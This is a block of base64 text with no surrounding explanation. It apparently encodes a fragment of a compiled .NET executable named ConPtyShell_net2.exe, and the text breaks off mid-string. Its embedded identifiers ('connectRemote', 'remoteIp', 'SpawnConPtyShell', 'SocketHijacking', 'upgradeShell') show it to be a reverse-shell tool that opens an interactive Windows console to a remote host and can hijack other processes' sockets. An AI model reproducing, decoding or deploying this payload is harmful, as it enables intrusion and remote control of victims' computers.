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TAAABADkSACAAAAAAAAABAAUNAAACANQTAAADAHkNAAAEAOUTACAAAAAAAAABAAUNAAACAHkNAAADAOwTAAAEAPYTAAAFAP4TAAAGAAUUAAAHABUUACAAAAAAAAABACIUAAACADQUAAADAEIUAAAEAIgPAAAFAFYUAAAGAMIPAAAHAGYUAAAIAHQUAQAJAIcUAgAKAJUUAAABACIUAAACADQUAAADAEIUAAAEAIgPAAAFAFYUAAAGAMIPAAAHAGYUAAAIAHQUAQAJAIcUAgAKAJUUACAAAAAAAAABAMQNAAACAKoUAAABAGQPAAACAGwPAAABALQUAAACAGQPAAABALQUAAABAFwPAgABAL8UAgACAMkUAAADANQUAAAEAOUUAAABAOsUAAACAFIRAAADAPYUAAAEAAIVAAAFABUVAAAGACsVAAAHAEAVAAABAE4VAgACAFQVAAADAF0VAgAEAHIVAAAFAIYVAAABAE4VAAACAFQVAAADAJMVAgAEAKkVAAAFAIYVAAABAMAVAAACAMUVAAADAMwVAAAEAHkNAgAFANQVAAABANkVAAABAN0VAAACAOwVAAABADkSAgACAOwVACAAAAAAAAABAPwVAAACAAEWAAABAAoWAAABACAWAAACACgWAQABAIUQAQACAJ8QAQADAKoQAQAEADEWAQAFAD4WAQAGAEQWAAABAM0QAAACAEoWAAADAE8WAAABAFgWAAABAGIWAAABADwQAgACAE4QAAABAM0QAAABAGUWAAACAGwWAAADAHAWAAAEAEQWAAABAGUWAAACAGwWAAADAHAWAAAEAEQWAAABAEsTAAABAEsTAAABAHQWAAACAH0WAAABAJAWAAACAJwWAAADAKEWAAABAPMWAAACAAEXAAADABAXAAAEAB8XAAABAC8XAAACADgXAAADAEIXAAABAC8XAAACADgXAAADAEIXAAABAEwXAAACAGAXAAADAHQXAAAEAJwWAAAFAKEWAAABAEwXAAACAIoXAAABAKcXAAACAK8XAAABAEwXAAACAK8XAAABAOoPAAABABAXAAACAJAWAAABAOoPAAABAAEXAAACAJAWAAADANoXAAABAHQWAAACAH0WAAADAJwWAAAEAKEWAAAFAK8XAAAGAOgXAAABAPsXAAABAAEYAAABAC4YAAABAEwYAAABAAEYAAABAAEYAAABAAEYAAABAFAYAAABAFAYcQDfAWwDeQDfAUIACQDfAUIAgQAWD3EDCQDfAUYAiQDfAUYAkQDfAUIAmQAGEE4AEQDfAUIAoQDfAUIAqQDfAX4DuQAgEk0CuQAtEoYDyQBdEpADuQBvEpcDQQCEEp0DmQCLEqEDwQCXEqcDgQAWD6sD2QCoErIDuQCyErcDmQC9ErwDmQDFEs0AmQDfAcADuQDOEsUDuQBvEswDmQDdEtEDmQDdEk0CmQDpEqEDuQD3EtYDgQCLEtsDgQAUEwIEQQCtA44BgQAWDwgEmQDfAWwD4QDfARwE8QDfAUIAQQCdEzEEQQCrE5MBmQC6E50DAQG6E0MEaQCmFlMEEQHGFlgEEQHQFl4EgQDfFmYEgQDlFqcDwQDqFm0EuQCVF80AgQAWD5gEuQAgErcDIQHfAXIAaQDfAccEaQDUF84EgQAUE+gEgQAUE/AEgQAUE/cEaQD1F0IA2QAgGB4FKQEoGEYAMQHqFiQFgQBVGD8FDgAEAA0ACQAQAIoACQAUAI8ACQAYAJQACQAcAJkACQAgAI8ACAAkAKEACAAoAKYACAAsAKsACABQAIoACABUAKEACABYAKYACABcACwBCABgADEBCQB4AD4BCQB8AKEACQCAAKYACQCEAEMBCQCIAKsACQCMAEgBCQCQAE0BCQCUAFIBCQCYAFcBCQCcAFwBCQCgAGEBCQCkAGYBCQCoAGsBDgBIAZ8BCQBMATEBCQBQAUMBCQBUAdgBCQBYAd0BCQBcAeIBCABgAVcBCABkAWsBCABoAaEACQBsAecBCABwAYoACQB0AewBCQB4AfEBCQB8AaEACQCAAaYACQCEAVIBCQCIASwBCACMAfYBCACQAfsBCACUAQACLgALAE4FLgATAFcFQwErAaEASwCEA1cAhANgACIEYgAmBGYAKgSOAC0EjwCEA5kAhAOpAIQD0wCEAxABIgQSASYEIwGEAwEAAAAAAAYAAQAAAAAACAB3A4sD4QP2AxAENQQ6BEgEdASDBIgEjQSSBJ4EpQSwBLoE0wTaBP4ELQUzBTcFOwVEBU8Pew8xEFYQbBHxFRcWtwQAAQcAAwIBAEABCQAPAgEAQAELACMCAgBGARsATQMDAEYBHQBYAwQARgMfAGsDAwAGASEAdQMDAEYDIwCFAwMAQAElAJEDAQBAAScAnQMBAAABKQADAgEAAAErAK0DAQAAAS0AvwMFAAABLwDNAwUAAAE7AC0IBQBAAUMAwAkBAEABRQDiCQEAQAFHALoFAQBGAUkA/AkBAEABSwALCgEAQAFNAA8CAQBAAU8AHAoBAEABUQApCgEAQAFTAAMCAQBGAVUANgoBAEYDVwBBCgEAQAFZAEwKAQBAAVsAVQoBAEABXQBfCgEAQAFfAHMKAQBAAWEAhgoBAEABYwCVCgEAAAFlAKQKAQBBAWcAsQoBAAABaQC9CgYAAAFrAMgKAQAGAW0A2QoBAEMBbwDpCgcAQgFxAGsDAwBAAXMAMQsDAEABdQA5CwMAQgF3AD8LAwAGAXkAdQMDAEYBewBNAwMARAF9AEkLAwBGAX8AVQsDAEYBgQBaCwMAAAGDAF8LBQAAAYUAcAsFAASAAAAAAAAAAAAAAAAAAAAAAPYOAAACAAAAAAAAAAAAAAABAJABAAAAAAIAAAAAAAAAAAAAAAEAmQEAAAAABAADAAYABQAHAAUACAAFAAkABQAKAAUACwAFAAwABQANAAUADgAFABEAEAASABAAEwAQABQAEAAVABAAFgAQABcAEAAAAAAAADxNb2R1bGU+AENvblB0eVNoZWxsX25ldDIuZXhlAENvblB0eVNoZWxsRXhjZXB0aW9uAERlYWRsb2NrQ2hlY2tIZWxwZXIATFBUSFJFQURfU1RBUlRfUk9VVElORQBTb2NrZXRIaWphY2tpbmcAU1lTVEVNX0hBTkRMRQBPQkpFQ1RfSU5GT1JNQVRJT05fQ0xBU1MAT0JKRUNUX05BTUVfSU5GT1JNQVRJT04AVU5JQ09ERV9TVFJJTkcAUHJvY2Vzc0FjY2Vzc0ZsYWdzAFdTQURhdGEAV1NBUFJPVE9DT0xDSEFJTgBXU0FQUk9UT0NPTF9JTkZPAFNPQ0tBRERSX0lOAFBhcmVudFByb2Nlc3NVdGlsaXRpZXMAQ29uUHR5U2hlbGwAU1RBUlRVUElORk9FWABTVEFSVFVQSU5GTwBQUk9DRVNTX0lORk9STUFUSU9OAFNFQ1VSSVRZX0FUVFJJQlVURVMAQ09PUkQAQ29uUHR5U2hlbGxNYWluQ2xhc3MATWFpbkNsYXNzAG1zY29ybGliAFN5c3RlbQBFeGNlcHRpb24AT2JqZWN0AE11bHRpY2FzdERlbGVnYXRlAFZhbHVlVHlwZQBFbnVtAGVycm9yX3N0cmluZwAuY3RvcgBkZWFkbG9ja0RldGVjdGVkAHRhcmdldEhhbmRsZQBDbG9zZUhhbmRsZQBXYWl0Rm9yU2luZ2xlT2JqZWN0AENyZWF0ZVRocmVhZABUaHJlYWRDaGVja0RlYWRsb2NrAENoZWNrRGVhZGxvY2tEZXRlY3RlZABJbnZva2UASUFzeW5jUmVzdWx0AEFzeW5jQ2FsbGJhY2sAQmVnaW5JbnZva2UARW5kSW52b2tlAE5UU1RBVFVTX1NVQ0NFU1MATlRTVEFUVVNfSU5GT0xFTkdUSE1JU01BVENIAE5UU1RBVFVTX0JVRkZFUk9WRVJGTE9XAE5UU1RBVFVTX0JVRkZFUlRPT1NNQUxMAFNUQVRVU19JTkZPX0xFTkdUSF9NSVNNQVRDSABXU0FfRkxBR19PVkVSTEFQUEVEAERVUExJQ0FURV9TQU1FX0FDQ0VTUwBTeXN0ZW1IYW5kbGVJbmZvcm1hdGlvbgBXU0FTdGFydHVwAFdTQUR1cGxpY2F0ZVNvY2tldABXU0FTb2NrZXQAV1NBR2V0TGFzdEVycm9yAGdldHBlZXJuYW1lAE9wZW5Qcm9jZXNzAER1cGxpY2F0ZUhhbmRsZQBHZXRDdXJyZW50UHJvY2VzcwBOdFF1ZXJ5T2JqZWN0AE50UXVlcnlTeXN0ZW1JbmZvcm1hdGlvbgBOdFF1ZXJ5U3lzdGVtSW5mb3JtYXRpb25EeW5hbWljAE50UXVlcnlPYmplY3REeW5hbWljAFN5c3RlbS5EaWFnbm9zdGljcwBQcm9jZXNzAEdldFNvY2tldFRhcmdldFByb2Nlc3MASXNTb2NrZXRJbmhlcml0ZWQARHVwbGljYXRlVGFyZ2V0UHJvY2Vzc1NvY2tldABQcm9jZXNzSWQAQ3JlYXRvckJhY2tUcmFja0luZGV4AE9iamVjdFR5cGVOdW1iZXIASGFuZGxlQXR0cmlidXRlAEhhbmRsZQBHcmFudGVkQWNjZXNzAHZhbHVlX18AT2JqZWN0QmFzaWNJbmZvcm1hdGlvbgBPYmplY3ROYW1lSW5mb3JtYXRpb24AT2JqZWN0VHlwZUluZm9ybWF0aW9uAE9iamVjdEFsbFR5cGVzSW5mb3JtYXRpb24AT2JqZWN0SGFuZGxlSW5mb3JtYXRpb24ATmFtZQBMZW5ndGgATWF4aW11bUxlbmd0aABCdWZmZXIAQWxsAFRlcm1pbmF0ZQBWaXJ0dWFsTWVtb3J5T3BlcmF0aW9uAFZpcnR1YWxNZW1vcnlSZWFkAFZpcnR1YWxNZW1vcnlXcml0ZQBDcmVhdGVQcm9jZXNzAFNldFF1b3RhAFNldEluZm9ybWF0aW9uAFF1ZXJ5SW5mb3JtYXRpb24AUXVlcnlMaW1pdGVkSW5mb3JtYXRpb24AU3luY2hyb25pemUAd1ZlcnNpb24Ad0hpZ2hWZXJzaW9uAGlNYXhTb2NrZXRzAGlNYXhVZHBEZwBscFZlbmRvckluZm8Ac3pEZXNjcmlwdGlvbgBzelN5c3RlbVN0YXR1cwBDaGFpbkxlbgBDaGFpbkVudHJpZXMAZHdTZXJ2aWNlRmxhZ3MxAGR3U2VydmljZUZsYWdzMgBkd1NlcnZpY2VGbGFnczMAZHdTZXJ2aWNlRmxhZ3M0AGR3UHJvdmlkZXJGbGFncwBHdWlkAFByb3ZpZGVySWQAZHdDYXRhbG9nRW50cnlJZABQcm90b2NvbENoYWluAGlWZXJzaW9uAGlBZGRyZXNzRmFtaWx5AGlNYXhTb2NrQWRkcgBpTWluU29ja0FkZHIAaVNvY2tldFR5cGUAaVByb3RvY29sAGlQcm90b2NvbE1heE9mZnNldABpTmV0d29ya0J5dGVPcmRlcgBpU2VjdXJpdHlTY2hlbWUAZHdNZXNzYWdlU2l6ZQBkd1Byb3ZpZGVyUmVzZXJ2ZWQAc3pQcm90b2NvbABzaW5fZmFtaWx5AHNpbl9wb3J0AHNpbl9hZGRyAHNpbl96ZXJvAFJlc2VydmVkMQBQZWJCYXNlQWRkcmVzcwBSZXNlcnZlZDJfMABSZXNlcnZlZDJfMQBVbmlxdWVQcm9jZXNzSWQASW5oZXJpdGVkRnJvbVVuaXF1ZVByb2Nlc3NJZABOdFF1ZXJ5SW5mb3JtYXRpb25Qcm9jZXNzAEdldFBhcmVudFByb2Nlc3MAZXJyb3JTdHJpbmcARU5BQkxFX1ZJUlRVQUxfVEVSTUlOQUxfUFJPQ0VTU0lORwBESVNBQkxFX05FV0xJTkVfQVVUT19SRVRVUk4AUFJPQ19USFJFQURfQVRUUklCVVRFX1BTRVVET0NPTlNPTEUARVhURU5ERURfU1RBUlRVUElORk9fUFJFU0VOVABDUkVBVEVfTk9fV0lORE9XAFNUQVJURl9VU0VTVERIQU5ETEVTAEJVRkZFUl9TSVpFX1BJUEUASU5GSU5JVEUAU1dfSElERQBHRU5FUklDX1JFQUQAR0VORVJJQ19XUklURQBGSUxFX1NIQVJFX1JFQUQARklMRV9TSEFSRV9XUklURQBGSUxFX0FUVFJJQlVURV9OT1JNQUwAT1BFTl9FWElTVElORwBTVERfSU5QVVRfSEFORExFAFNURF9PVVRQVVRfSEFORExFAFNURF9FUlJPUl9IQU5ETEUASW5pdGlhbGl6ZVByb2NUaHJlYWRBdHRyaWJ1dGVMaXN0AFVwZGF0ZVByb2NUaHJlYWRBdHRyaWJ1dGUAQ3JlYXRlUHJvY2Vzc1cAVGVybWluYXRlUHJvY2VzcwBTZXRTdGRIYW5kbGUAR2V0U3RkSGFuZGxlAENyZWF0ZVBpcGUAQ3JlYXRlRmlsZQBSZWFkRmlsZQBXcml0ZUZpbGUAQ3JlYXRlUHNldWRvQ29uc29sZQBDbG9zZVBzZXVkb0NvbnNvbGUAU2V0Q29uc29sZU1vZGUAR2V0Q29uc29sZU1vZGUAQWxsb2NDb25zb2xlAEZyZWVDb25zb2xlAFNob3dXaW5kb3cAR2V0Q29uc29sZVdpbmRvdwBHZXRNb2R1bGVIYW5kbGUAR2V0UHJvY0FkZHJlc3MAU3lzdGVtLk5ldC5Tb2NrZXRzAEFkZHJlc3NGYW1pbHkAU29ja2V0VHlwZQBQcm90b2NvbFR5cGUAY29ubmVjdABodG9ucwBpbmV0X2FkZHIAY2xvc2Vzb2NrZXQAcmVjdgBzZW5kAE50U3VzcGVuZFByb2Nlc3MATnRSZXN1bWVQcm9jZXNzAGNvbm5lY3RSZW1vdGUAVHJ5UGFyc2VSb3dzQ29sc0Zyb21Tb2NrZXQAQ3JlYXRlUGlwZXMASW5pdENvbnNvbGUAUmVzdG9yZVN0ZEhhbmRsZXMARW5hYmxlVmlydHVhbFRlcm1pbmFsU2VxdWVuY2VQcm9jZXNzaW5nAENyZWF0ZVBzZXVkb0NvbnNvbGVXaXRoUGlwZXMAQ29uZmlndXJlUHJvY2Vzc1RocmVhZABSdW5Qcm9jZXNzAENyZWF0ZUNoaWxkUHJvY2Vzc1dpdGhQc2V1ZG9Db25zb2xlAFRocmVhZFJlYWRQaXBlV3JpdGVTb2NrZXQAU3lzdGVtLlRocmVhZGluZwBUaHJlYWQAU3RhcnRUaHJlYWRSZWFkUGlwZVdyaXRlU29ja2V0AFRocmVhZFJlYWRTb2NrZXRXcml0ZVBpcGUAU3RhcnRUaHJlYWRSZWFkU29ja2V0V3JpdGVQaXBlAFNwYXduQ29uUHR5U2hlbGwAU3RhcnR1cEluZm8AbHBBdHRyaWJ1dGVMaXN0AGNiAGxwUmVzZXJ2ZWQAbHBEZXNrdG9wAGxwVGl0bGUAZHdYAGR3WQBkd1hTaXplAGR3WVNpemUAZHdYQ291bnRDaGFycwBkd1lDb3VudENoYXJzAGR3RmlsbEF0dHJpYnV0ZQBkd0ZsYWdzAHdTaG93V2luZG93AGNiUmVzZXJ2ZWQyAGxwUmVzZXJ2ZWQyAGhTdGRJbnB1dABoU3RkT3V0cHV0AGhTdGRFcnJvcgBoUHJvY2VzcwBoVGhyZWFkAGR3UHJvY2Vzc0lkAGR3VGhyZWFkSWQAbkxlbmd0aABscFNlY3VyaXR5RGVzY3JpcHRvcgBiSW5oZXJpdEhhbmRsZQBYAFkAaGVscABIZWxwUmVxdWlyZWQAQ2hlY2tBcmdzAERpc3BsYXlIZWxwAENoZWNrUmVtb3RlSXBBcmcAQ2hlY2tJbnQAUGFyc2VSb3dzAFBhcnNlQ29scwBQYXJzZUNvbW1hbmRMaW5lAENvblB0eVNoZWxsTWFpbgBNYWluAFN5c3RlbS5SdW50aW1lLkNvbXBpbGVyU2VydmljZXMAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQBDb25QdHlTaGVsbF9uZXQyAG1lc3NhZ2UAU3RyaW5nAENvbmNhdABTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMARGxsSW1wb3J0QXR0cmlidXRlAGtlcm5lbDMyLmRsbABoT2JqZWN0AGhIYW5kbGUAZHdNaWxsaXNlY29uZHMAS2VybmVsMzIuZGxsAGxwVGhyZWFkQXR0cmlidXRlcwBkd1N0YWNrU2l6ZQBscFN0YXJ0QWRkcmVzcwBscFBhcmFtZXRlcgBkd0NyZWF0aW9uRmxhZ3MAbHBUaHJlYWRJZABPdXRBdHRyaWJ1dGUAdGhyZWFkUGFyYW1zAHRIYW5kbGUASW50UHRyAFplcm8Ab2JqZWN0AG1ldGhvZABscFBhcmFtAGNhbGxiYWNrAHJlc3VsdAB3czJfMzIuZGxsAHdWZXJzaW9uUmVxdWVzdGVkAHdzYURhdGEAV1MyXzMyLkRMTABzb2NrZXRIYW5kbGUAcHJvY2Vzc0lkAHBpbm5lZEJ1ZmZlcgBhZGRyZXNzRmFtaWx5AEluQXR0cmlidXRlAHNvY2tldFR5cGUAcHJvdG9jb2xUeXBlAGxwUHJvdG9jb2xJbmZvAGdyb3VwMQBzAG5hbWUAbmFtZWxlbgBwcm9jZXNzQWNjZXNzAE1hcnNoYWxBc0F0dHJpYnV0ZQBVbm1hbmFnZWRUeXBlAGhTb3VyY2VQcm9jZXNzSGFuZGxlAGhTb3VyY2VIYW5kbGUAaFRhcmdldFByb2Nlc3NIYW5kbGUAbHBUYXJnZXRIYW5kbGUAZHdEZXNpcmVkQWNjZXNzAGR3T3B0aW9ucwBudGRsbC5kbGwAb2JqZWN0SGFuZGxlAGluZm9ybWF0aW9uQ2xhc3MAaW5mb3JtYXRpb25QdHIAaW5mb3JtYXRpb25MZW5ndGgAcmV0dXJuTGVuZ3RoAFN5c3RlbUluZm9ybWF0aW9uQ2xhc3MAU3lzdGVtSW5mb3JtYXRpb24AU3lzdGVtSW5mb3JtYXRpb25MZW5ndGgAaW5mb0NsYXNzAGluZm9MZW5ndGgATWFyc2hhbABBbGxvY0hHbG9iYWwARnJlZUhHbG9iYWwAaGFuZGxlAEludDMyAFR5cGUAUnVudGltZVR5cGVIYW5kbGUAR2V0VHlwZUZyb21IYW5kbGUAU2l6ZU9mAHRhcmdldFByb2Nlc3MAZ2V0X0lkAG9wX0VxdWFsaXR5AFRvU3RyaW5nAENvbnNvbGUAV3JpdGVMaW5lAFJlYWRJbnRQdHIAVG9JbnQ2NABnZXRfU2l6ZQBQdHJUb1N0cnVjdHVyZQBvcF9FeHBsaWNpdABvcF9JbmVxdWFsaXR5AFB0clRvU3RyaW5nVW5pAHBhcmVudFByb2Nlc3MARm9ybWF0AFN0cnVjdExheW91dEF0dHJpYnV0ZQBMYXlvdXRLaW5kAEZsYWdzQXR0cmlidXRlAHByb2Nlc3NIYW5kbGUAcHJvY2Vzc0luZm9ybWF0aW9uQ2xhc3MAcHJvY2Vzc0luZm9ybWF0aW9uAHByb2Nlc3NJbmZvcm1hdGlvbkxlbmd0aABnZXRfSGFuZGxlAGlkAEdldFByb2Nlc3NCeUlkAFRvSW50MzIAQXJndW1lbnRFeGNlcHRpb24AZHdBdHRyaWJ1dGVDb3VudABscFNpemUAYXR0cmlidXRlAGxwVmFsdWUAY2JTaXplAGxwUHJldmlvdXNWYWx1ZQBscFJldHVyblNpemUAbHBBcHBsaWNhdGlvbk5hbWUAbHBDb21tYW5kTGluZQBscFByb2Nlc3NBdHRyaWJ1dGVzAGJJbmhlcml0SGFuZGxlcwBscEVudmlyb25tZW50AGxwQ3VycmVudERpcmVjdG9yeQBscFN0YXJ0dXBJbmZvAGxwUHJvY2Vzc0luZm9ybWF0aW9uAHVFeGl0Q29kZQBuU3RkSGFuZGxlAGhSZWFkUGlwZQBoV3JpdGVQaXBlAGxwUGlwZUF0dHJpYnV0ZXMAblNpemUAbHBGaWxlTmFtZQBkd1NoYXJlTW9kZQBTZWN1cml0eUF0dHJpYnV0ZXMAZHdDcmVhdGlvbkRpc3Bvc2l0aW9uAGR3RmxhZ3NBbmRBdHRyaWJ1dGVzAGhUZW1wbGF0ZUZpbGUAaEZpbGUAbHBCdWZmZXIAbk51bWJlck9mQnl0ZXNUb1JlYWQAbHBOdW1iZXJPZkJ5dGVzUmVhZABscE92ZXJsYXBwZWQAbk51bWJlck9mQnl0ZXNUb1dyaXRlAGxwTnVtYmVyT2ZCeXRlc1dyaXR0ZW4Ac2l6ZQBoSW5wdXQAaE91dHB1dABwaFBDAGhQQwBoQ29uc29sZUhhbmRsZQBtb2RlAHVzZXIzMi5kbGwAaFduZABuQ21kU2hvdwBscE1vZHVsZU5hbWUAa2VybmVsMzIAaE1vZHVsZQBwcm9jTmFtZQBwcm90b2NvbEluZm8AZ3JvdXAAZmxhZ3MAYWRkcgBhZGRyc2l6ZQBob3N0c2hvcnQAY3AAU29ja2V0AGJ1ZgBsZW4AcmVtb3RlSXAAcmVtb3RlUG9ydABDb252ZXJ0AHNoZWxsU29ja2V0AHJvd3MAY29scwBTbGVlcABCeXRlAFN5c3RlbS5UZXh0AEVuY29kaW5nAGdldF9BU0NJSQBHZXRTdHJpbmcAQ2hhcgBTcGxpdABUcmltAFRyeVBhcnNlAElucHV0UGlwZVJlYWQASW5wdXRQaXBlV3JpdGUAT3V0cHV0UGlwZVJlYWQAT3V0cHV0UGlwZVdyaXRlAG9sZFN0ZEluAG9sZFN0ZE91dABvbGRTdGRFcnIAaGFuZGxlUHNldWRvQ29uc29sZQBDb25QdHlJbnB1dFBpcGVSZWFkAENvblB0eU91dHB1dFBpcGVXcml0ZQBhdHRyaWJ1dGVzAEdldExhc3RXaW4zMkVycm9yAHNJbmZvRXgAY29tbWFuZExpbmUAUGFyYW1ldGVyaXplZFRocmVhZFN0YXJ0AFN0YXJ0AGhDaGlsZFByb2Nlc3MAdXBncmFkZVNoZWxsAEFib3J0AHBhcmFtAGFyZ3VtZW50cwBTeXN0ZW0uSU8AVGV4dFdyaXRlcgBnZXRfT3V0AFdyaXRlAGlwU3RyaW5nAFN5c3RlbS5OZXQASVBBZGRyZXNzAGFyZwBhcmdzAENvbnRhaW5zAC5jY3RvcgAAAAAANVsALQBdACAAQwBvAG4AUAB0AHkAUwBoAGUAbABsAEUAeABjAGUAcAB0AGkAbwBuADoAIAABSUMAYQBuAG4AbwB0ACAAbwBwAGUAbgAgAHQAYQByAGcAZQB0ACAAcAByAG8AYwBlAHMAcwAgAHcAaQB0AGgAIABwAGkAZAAgAAA3IABmAG8AcgAgAEQAdQBwAGwAaQBjAGEAdABlAEgAYQBuAGQAbABlACAAYQBjAGMAZQBzAHMAABdcAEQAZQB2AGkAYwBlAFwAQQBmAGQAAHdnAGUAdABwAGUAZQByAG4AYQBtAGUAIABzAG8AYwBrAGEAZABkAHIAVABhAHIAZwBlAHQAUAByAG8AYwBlAHMAcwAgAGYAYQBpAGwAZQBkACAAdwBpAHQAaAAgAHcAcwBhAGwAYQBzAHQAZQByAHIAbwByACAAAHdnAGUAdABwAGUAZQByAG4AYQBtAGUAIABzAG8AYwBrAGEAZABkAHIAUABhAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAgAGYAYQBpAGwAZQBkACAAdwBpAHQAaAAgAHcAcwBhAGwAYQBzAHQAZQByAHIAbwByACAAAHFOAG8AIABcAEQAZQB2AGkAYwBlAFwAQQBmAGQAIABvAGIAagBlAGMAdABzACAAZgBvAHUAbgBkAC4AIABTAG8AYwBrAGUAdAAgAGQAdQBwAGwAaQBjAGEAdABpAG8AbgAgAGYAYQBpAGwAZQBkAC4AAE1XAFMAQQBTAHQAYQByAHQAdQBwACAAZgBhAGkAbABlAGQAIAB3AGkAdABoACAAZQByAHIAbwByACAAYwBvAGQAZQA6ACAAewAwAH0AAEtXAFMAQQBEAHUAcABsAGkAYwBhAHQAZQBTAG8AYwBrAGUAdAAgAGYAYQBpAGwAZQBkACAAdwBpAHQAaAAgAGUAcgByAG8AcgAgAAAlIABhAG4AZAAgAHcAcwBhAGwAYQBzAHQAZQByAHIAbwByACAAADlXAFMAQQBTAG8AYwBrAGUAdAAgAGYAYQBpAGwAZQBkACAAdwBpAHQAaAAgAGUAcgByAG8AcgAgAAA3UwBwAGUAYwBpAGYAaQBlAGQAIABwAG8AcgB0ACAAaQBzACAAaQBuAHYAYQBsAGkAZAA6ACAAAE1XAFMAQQBDAG8AbgBuAGUAYwB0ACAAZgBhAGkAbABlAGQAIAB3AGkAdABoACAAZQByAHIAbwByACAAYwBvAGQAZQA6ACAAewAwAH0AAD1DAG8AdQBsAGQAIABuAG8AdAAgAGMAcgBlAGEAdABlACAAdABoAGUAIABJAG4AcAB1AHQAUABpAHAAZQAAP0MAbwB1AGwAZAAgAG4AbwB0ACAAYwByAGUAYQB0AGUAIAB0AGgAZQAgAE8AdQB0AHAAdQB0AFAAaQBwAGUAAA9DAE8ATgBPAFUAVAAkAAANQwBPAE4ASQBOACQAADVDAG8AdQBsAGQAIABuAG8AdAAgAGcAZQB0ACAAYwBvAG4AcwBvAGwAZQAgAG0AbwBkAGUAAFlDAG8AdQBsAGQAIABuAG8AdAAgAGUAbgBhAGIAbABlACAAdgBpAHIAdAB1AGEAbAAgAHQAZQByAG0AaQBuAGEAbAAgAHAAcgBvAGMAZQBzAHMAaQBuAGcAAICBQwBvAHUAbABkACAAbgBvAHQAIABjAGEAbABjAHUAbABhAHQAZQAgAHQAaABlACAAbgB1AG0AYgBlAHIAIABvAGYAIABiAHkAdABlAHMAIABmAG8AcgAgAHQAaABlACAAYQB0AHQAcgBpAGIAdQB0AGUAIABsAGkAcwB0AC4AIAAAQ0MAbwB1AGwAZAAgAG4AbwB0ACAAcwBlAHQAIAB1AHAAIABhAHQAdAByAGkAYgB1AHQAZQAgAGwAaQBzAHQALgAgAABdQwBvAHUAbABkACAAbgBvAHQAIABzAGUAdAAgAHAAcwBlAHUAZABvAGMAbwBuAHMAbwBsAGUAIAB0AGgAcgBlAGEAZAAgAGEAdAB0AHIAaQBiAHUA